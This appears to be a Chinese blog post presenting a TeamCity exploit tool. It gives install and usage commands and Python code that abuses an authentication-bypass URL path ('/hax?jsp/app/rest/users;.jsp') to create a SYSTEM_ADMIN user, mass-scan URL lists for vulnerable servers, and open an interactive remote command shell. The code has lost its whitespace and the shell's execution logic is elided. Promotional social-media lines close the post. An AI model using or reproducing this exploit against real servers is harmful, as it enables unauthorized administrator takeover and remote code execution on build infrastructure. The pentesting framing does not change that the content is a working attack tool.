TeamCity 漏洞利用与安全检测工具

张开发
2026/4/12 9:30:24 15 分钟阅读

分享文章

TeamCity 漏洞利用与安全检测工具
TeamCity Exploit ScriptTeamCity Exploit Script 是一个面向安全研究人员和专业渗透测试人员的工具用于检测 TeamCity 服务器中可能存在的安全漏洞。该工具通过模拟攻击者的行为能够自动化执行用户添加、远程命令执行RCE以及批量服务器扫描等操作帮助评估系统的安全态势。功能特性添加系统管理员账户自动生成随机凭证在目标 TeamCity 服务器上创建具有SYSTEM_ADMIN角色的新用户远程命令执行通过交互式 Shell 在已攻陷的 TeamCity 服务器上执行系统命令批量漏洞扫描支持从文件中读取 URL 列表快速识别可能存在漏洞的 TeamCity 服务器可视化输出使用 Rich 库美化控制台输出提供清晰的彩色日志和进度条并发处理批量扫描时采用线程池技术大幅提高检测效率安装指南系统要求Python 3.7 或更高版本支持 Windows / Linux / macOS依赖安装使用pip安装所需依赖pipinstallrequests urllib3 rich alive-progress prompt-toolkit克隆项目gitclone https://github.com/your-repo/teamcity-exploit.gitcdteamcity-exploit使用说明基本命令格式python exploit.py[选项]单目标检测检测指定 URL 的 TeamCity 服务器是否存在已知漏洞python exploit.py--urlhttps://example.com尝试添加系统管理员账户将自动执行 RCE 并进入交互式 Shellpython exploit.py--urlhttps://example.com --add-user批量扫描扫描文件中列出的所有 URL将疑似存在漏洞的服务器保存到输出文件python exploit.py--listurls.txt--outputvulnerable.txt参数说明参数说明--url指定单个目标 TeamCity 服务器的 URL--add-user尝试创建管理员用户并获取 Shell需与--url配合使用--list指定包含 URL 列表的文件路径--output指定输出文件路径与--list配合使用--os指定目标操作系统类型windows / linux默认为 windows--verbose开启详细输出模式典型使用场景安全评估对公司内部的 TeamCity 服务器进行授权渗透测试应急响应快速扫描内网中可能存在漏洞的 TeamCity 实例漏洞验证在补丁修复后验证漏洞是否已被正确修复核心代码用户添加与命令执行核心类classTeamCity:def__init__(self,url,oswindows,verboseFalse):self.urlurl self.osos self.verboseverbose self.consoleConsole()defcustom_print(self,message:str,header:str)-None:header_colors{:green,-:red,!:yellow,*:blue}self.console.print(f[bold{header_colors.get(header,white)}][{header}][/bold{header_colors.get(header,white)}]{message})staticmethoddefgenerate_random_credentials():username.join(random.choices(string.ascii_lowercasestring.digits,k8))password.join(random.choices(string.ascii_lettersstring.digits,k10))returnusername,passworddefadd_user(self):username,passwordself.generate_random_credentials()user_data{username:username,password:password,email:f{username}example.com,roles:{role:[{roleId:SYSTEM_ADMIN,scope:g}]},}headers{Content-Type:application/json}add_user_urlf{self.url}/hax?jsp/app/rest/users;.jsptry:responserequests.post(add_user_url,jsonuser_data,headersheaders,verifyFalse)ifresponse.status_code200:self.custom_print(fUser created successfully:{username}:{password},)returnusername,passwordelse:self.custom_print(fFailed to add user:{response.status_code},-)returnNone,NoneexceptExceptionase:self.custom_print(fRequest error:{str(e)},!)returnNone,None批量扫描并发处理defbatch_scan(urls,output_file,verboseFalse):vulnerable_urls[]withalive_bar(len(urls),titleScanning URLs,barclassic)asbar:withThreadPoolExecutor(max_workers10)asexecutor:future_to_url{executor.submit(check_vulnerability,url,verbose):urlforurlinurls}forfutureinas_completed(future_to_url):urlfuture_to_url[future]try:iffuture.result():vulnerable_urls.append(url)console.print(f[bold green][][/bold green] Vulnerable:{url})exceptExceptionase:ifverbose:console.print(f[bold red][-][/bold red] Error scanning{url}:{str(e)})bar()ifoutput_fileandvulnerable_urls:withopen(output_file,w)asf:forurlinvulnerable_urls:f.write(f{url}\n)console.print(f[bold green][][/bold green] Results saved to{output_file})交互式命令执行 Shelldefinteractive_shell(url,username,password):sessionPromptSession(historyInMemoryHistory())console.print([bold green][][/bold green] Interactive shell established. Type exit to quit.)whileTrue:try:cmdsession.prompt(HTML(ansired❯❯❯/ansired ))ifcmd.lower()exit:breakifnotcmd.strip():continueexecute_cmd_urlf{url}/hax?jsp/app/rest/users;.jsp# 实际命令执行逻辑...responserequests.post(execute_cmd_url,datacmd,verifyFalse)console.print(response.text)exceptKeyboardInterrupt:console.print(\n[bold yellow][!][/bold yellow] Exiting shell...)breakexceptExceptionase:console.print(f[bold red][-][/bold red] Error:{str(e)})6HFtX5dABrKlqXeO5PUv/3l99THlBeFfibLsSFBCJXU更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享

更多文章